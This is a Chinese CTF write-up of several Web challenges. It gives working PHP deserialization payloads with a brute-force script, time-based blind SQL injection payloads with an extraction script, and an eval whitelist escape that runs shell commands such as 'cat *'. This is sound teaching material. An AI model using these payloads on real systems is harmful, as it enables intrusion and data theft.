国赛 Web wp
Day 1
Web
JustSoso
Index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
Hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
从SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析了解到可以把以下 payload
O:6:"Handle":1:
中的 1 改成比 1 大的数可以在反序列化时绕过_warkeup
魔术方法
绕过$this->token === $this->token_flag
的判断可以直接通过爆破来绕过
贴一下脚本:
import requests
import time
url ="http://e281a336df8b4ea1b7665704aca7b30246d3cd0663434603.changame.ichunqiu.com///?file=hint.php&payload=O%3A6%3A%22Handle%22%3A3%3A{s%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A{s%3A4%3A%22file%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%227b670d553471ad0fd7491c75bad587ff%22%3Bs%3A10%3A%22token_flag%22%3Bs%3A32%3A%227b670d553471ad0fd7491c75bad587ff%22%3B}}"
proxies ={
'http':'http://127.0.0.1:8080/'
}
for i in range(1,1000000):
rep = requests.get(url)
if rep.status_code == 200:
if 'flag' in rep.text:
print(rep.text)
else:
print(rep.status_code)
i = i + 1
time.sleep(1)
# rep = requests.get(url)
# print(rep.status_code)
这里预期解应该是引用,利用$this->token_flag = &$this->token
,这样来绕过
全宇宙最简单的SQL
页面会返回两种错误,一种是登录失败,一种是数据库查询失败
所以我们可以通过利用admin'
等操作来 fuzz 闭合方式,得到可以使用单引号闭合。但是通过万能密码可以发现一些关键字被替换了
通过一些简单的 fuzz 可以发现有以下关键字被过滤了
or || if field elt
布尔盲注没有可以区分的页面回显,所以这里不能用布尔盲注,报错注入也不行。所以基本确定只能用时间盲注。
结果发现sleep()
、benchmark()
等函数均被过滤了,只能寻找一些新的延时注入的方法,在mysql盲注备忘录中发现新的注入方式
MariaDB [(none)]> select rpad('a',2000000,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',2000000,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set, 1 warning (0.149 sec)
虽然本地没很明显延时,但是打服务器发生了明显的延时。所以接下来就是利用这个点进行时间盲注了。而if
又被过滤了,我们就只能通过以下方式去触发延时
admin' and (SELECT length(database()) limit 0,1) = 3 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
数据库长度为3
admin' and substr((SELECT database() limit 0,1),1,1) = 'c' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
admin' and substr((SELECT database() limit 0,1),2,1) = 't' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
admin' and substr((SELECT database() limit 0,1),3,1) = 'f' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
数据库名字为 ctf
但是如果要接下去拿表名的话传统方法只能去利用information_schema
,但是or
又被过滤了,而information_schema
中又含有or
,所以肯定不能行。
过滤了information_schema
基本上没什么替代方式了。所以我们这里只能另辟蹊径。
之前了解过可以通过不用列名的方式注入,所以这里觉得应该可以直接读password
或者什么,管他这个列名叫啥,读就对了。注意这里用offset 1 limit 1
读第二个才是真正的密码,这里时间不太够,临时用手验证了前几位。爆了 4 位得到F1AG
,以为就是密码了…结果错了…最后还是手动加脚本跑出来了
admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),2,1)) = 49 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),3,1)) = 65 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),4,1)) = 71 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),5,1)) = 64 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),6,1)) = 49 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),7,1)) = 115 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),7,1)) = 115 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#
注意这里最好不要用substr()='x'
这样判断,大小写很有问题,而且当时网络环境极其不好…跑了好几遍都有不同的答案…最后在赛后用ascii
跑出了密码,附脚本
# encoding: utf-8
import requests
import re
index_url = "http://39.97.227.64:52105/"
header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
}
flag = ''
table = ''
column = ''
proxies={
'http':'http://127.0.0.1:8080/'
}
for i in range(1,32):
print(i)
for j in range(33,126):
# j = ord(j)
# payload = "0\") or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),"+ str(i) +",1))="+ str(j) +"),sleep(5),0);%23"
string1 = "admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),"+ str(i) + ",1)) = '"+ str(j) + "' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#"
payload ={
'username': string1,
'password': '11'
}
url = index_url
try:
r = requests.post(url=url, data=payload,headers=header,timeout=3.5,proxies=proxies)
except:
flag += chr(j)
print(flag)
break
得到密码:
F1AG@1s-at_/fll1llag_h3r3
进去看到 admin 页面,也很明显,也就是 Rogue mysql 那一套了。
DDCTF 2019 /HGAME 2019我都有写相关的 wp ,这里就不再重复了。老一套的操作,不过这里他是不能指定端口,固定访问你的 3306 ,所以你需要把自己的 vps 的 3306 端口开启才行。按照密码提示直接读就是了
顺便拿了一波题目源码
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>全宇宙最简单的SQL</title>
<!-- Bootstrap core CSS -->
<link href="bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="grid.css" rel="stylesheet">
</head>
<body style="background-color: lightgrey">
<div class="container">
<h1>全宇宙最简单的SQL</h1>
<p class="lead">没有比这题更简单的SQL了,我把秘密藏在数据库里面了!</p>
<hr>
<?php
error_reporting(0);
session_start();
if (!$_SESSION['admin']) {
if (!$_SERVER['HTTP_ACCEPT']) {
echo "<p style='color: red'>你莫非是机器人?</p>";
}else if (!empty($_POST['password']) && !empty($_POST['username'])) {
$conn = new mysqli();
$conn -> connect("localhost", "ctf123", "ctf123", 'ctf', 3306);
if ($conn -> connect_errno) {
echo "<p style='color: red'>数据库连接失败: " . $conn -> connect_error . "</p>";
} else {
$_POST['username'] = preg_replace("/join|get_lock|benchmark|sleep|make_set|field|elt|if|case|or|\|/i", "QwQ", $_POST['username']);
echo "<p style='color: green'>登录用户名:" . $_POST['username'] . "</p>";
$conn -> set_charset("utf8");
$sql = "select password from user where username='" . $_POST['username'] . "'";
$result = $conn -> query($sql);
if ($conn -> errno) {
echo "<p style='color: red'>数据库操作失败!</p>";
}else {
if (!$result) {
echo "<p style='color: red'>登陆失败!</p>";
}else {
$row = $result -> fetch_assoc();
if ($row['password'] === $_POST['password'] && $_POST['username'] === 'admin') {
$_SESSION['admin'] = 1;
}else {
echo "<p style='color: red'>登陆失败!</p>";
}
}
}
$conn -> close();
}
}else {
echo "<p style='color: red'>你不是管理员!</p>";
}
}
if ($_SESSION['admin']) {
echo "<p style='color: green'>你好!管理员!</p>";
if (!empty($_POST['host']) && !empty($_POST['password']) && !empty($_POST['username']) && !empty($_POST['sql']) && !empty($_POST['database'])) {
$conn = new mysqli();
$conn -> connect($_POST['host'], $_POST['username'], $_POST['password'], $_POST['database'], 3306);
if ($conn -> connect_errno) {
echo "<p style='color: red'>数据库连接失败: " . $conn -> connect_error . "</p>";
} else {
$conn -> set_charset("utf8");
$result = $conn -> query($_POST['sql']);
if (!$result) {
echo "<p style='color: red'>SQL执行失败!</p>";
}else {
echo "<p style='color: green'>SQL执行成功!</p>";
}
$conn -> close();
}
}else {
echo "<p style='color: green'>你可以在这里对远程数据库进行操作!</p>";
}
}
?>
<hr>
<p></p>
<form action="" method="post" class="row">
<?php
if (!$_SESSION['admin']) {
echo '<input type="text" name="username" class="col-6 col-lg-4" placeholder="username">';
echo '<input type="text" name="password" class="col-6 col-lg-4" placeholder="password">';
}else {
echo '<input type="text" name="host" class="col-6 col-lg-4" placeholder="host">';
echo '<input type="text" name="username" class="col-6 col-lg-4" placeholder="username">';
echo '<input type="text" name="password" class="col-6 col-lg-4" placeholder="password">';
echo '<input type="text" name="database" class="col-6 col-lg-4" placeholder="database">';
echo '<input type="text" name="sql" class="col-6 col-lg-4" placeholder="sql">';
}
?>
<input type="submit" class="col-6 col-lg-4" value="submit">
</form>
</div> <!-- /container -->
</body>
</html>
这题比较可惜,时间不太够,比赛结束的40min多就做出来了…今天太困了,中午睡了好一会,时间足够的话肯定能搞出来的…可惜可惜。
最近看了还可以有
union select cot(1 and left(database(),1)>'a');#
这样的 bool 盲注的形式
Day 2
Web
Love_Math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
一上午都在懵逼,要么找到可以突破的数学函数,要么突破正则,应该就是这两种思路了。数学函数都看了一遍,貌似没有什么可以利用的函数。正则匹配/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/
,这个是 php 变量文档中匹配有效变量名的正则。感觉两个思路都不对…最有可能的还是突破数学函数…数组可以绕之前的,但是eval
不能执行
看了好几遍直到看到了base_convert
可以在进制转换上做文章,而且根据php文档–base_convert,我们可以知道
frombase 和 tobase 都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
也就是第二位,第三位参数可以在 2 到 36 之间,而且高于十进制的用字母表示!既然拼接进去的都是字符串,转换出来拼接进去应该可以执行。
本地使用base_convert(55490343972,10,36)()
成功执行phpinfo
,远程也执行了phpinfo
看看是不是有什么问题,看了一圈然而并没有发现什么问题。
然后尝试使用各种执行命令
base_convert(15941,10,36); //cat
base_convert(1751504350,36,10); //system
base_convert(696468,36,10); //exec
base_convert(784,36,10); //ls
base_convert(21269,36,10); //GET
虽然可以执行ls
了,看到了flag.php
,但是读不到就比较难受了。然后直接就考虑到了是不是可以有cat *
这种操作,但是空格跟*
都无法编码…这就比较头疼了。而且主要是还得全为数字,有字母的的话就会进whitelist
的判断了。
所以可能要尽量避免去使用十六进制什么的含有字母的,考虑到 ascii 码可以转换,又尝试了使用chr
函数去转换
($pi=base_convert(9453,12,36)).$pi(101).$pi(120).$pi(101).$pi(99)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42))
($pi=base_convert(9453,12,36)).$pi(101).$pi(120).$pi(101).$pi(99)($pi(108).$pi(115))
$pi(96).$pi(108).$pi(115).$pi(96)
一般的构造结果肯定不行…所以这里想用`ls`这种形式去执行命令,但是由于拼接的原因,一直不能执行…思路卡了很久。
看了一些相关十六进制处理的函数,直到看到了两个函数,一个hex2bin
函数,是可以把 16 进制转换成字符串,一个dechex
函数,把十进制转换成十六进制。
于是我们可以有
php > echo base_convert('636174202a',16,10);
426836762666
php > echo hex2bin(dechex(426836762666));
cat *
这样我们就可以把*
这个十六进制为2a
的转成十进制纯数字的了。
但是我们要怎么利用hex2bin
呢,想到可以利用base_convert
赋值变量的方式,找到最短的字符串pi
,利用$pi=base_convert(37907361743,10,36)
构造出hex2bin
。
而且还因为echo
可以接受如下的拼接方式,例如
php > echo (1).`id`;
1uid=501(zedd) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
php > echo 1,`id`;
1uid=501(zedd) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
尽量取最短的,这里肯定我们就用,
这个形式。
所以大致思路就差不多出来了利用base_convert
构造hex2bin
,然后用最短的可以执行命令的exec
函数去执行cat *
的命令
$pi=base_convert(37907361743,10,36),$pi(65786563)($pi(dechex(426836762666)))
然而没成功…不知道哪里错了,感觉没道理…
($pi=base_convert),$pi(696468,10,36)($pi(37907361743,10,36)(7267726570206167));
($pi=base_convert),$pi(696468,10,36)($pi(37907361743,10,36)(7267726570202466));
接着队友说可以用rgrep ag
去弄,而且本地打通了…但是远程以上没打通…我又修改了尝试去rgrep fl
,也没打通,当时是这样的
写 wp 的时候,突然又发现可以打通了…
也是神奇…最后当时还是按照自己的思路去走了,感觉是不是哪里出问题了,确定有flag.php
,最后尝试修改cat f*
,
php > echo base_convert('63617420662a',16,10);
109270211257898
php > echo hex2bin(dechex(109270211257898));
cat f*
$pi=base_convert(37907361743,10,36),$pi(65786563)($pi(dechex(109270211257898)))
拿到 flag(复现环境下)
base_convert(37907361743,10,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=cat%20flag.php
剩余一题感觉比较有意思,单独写一下。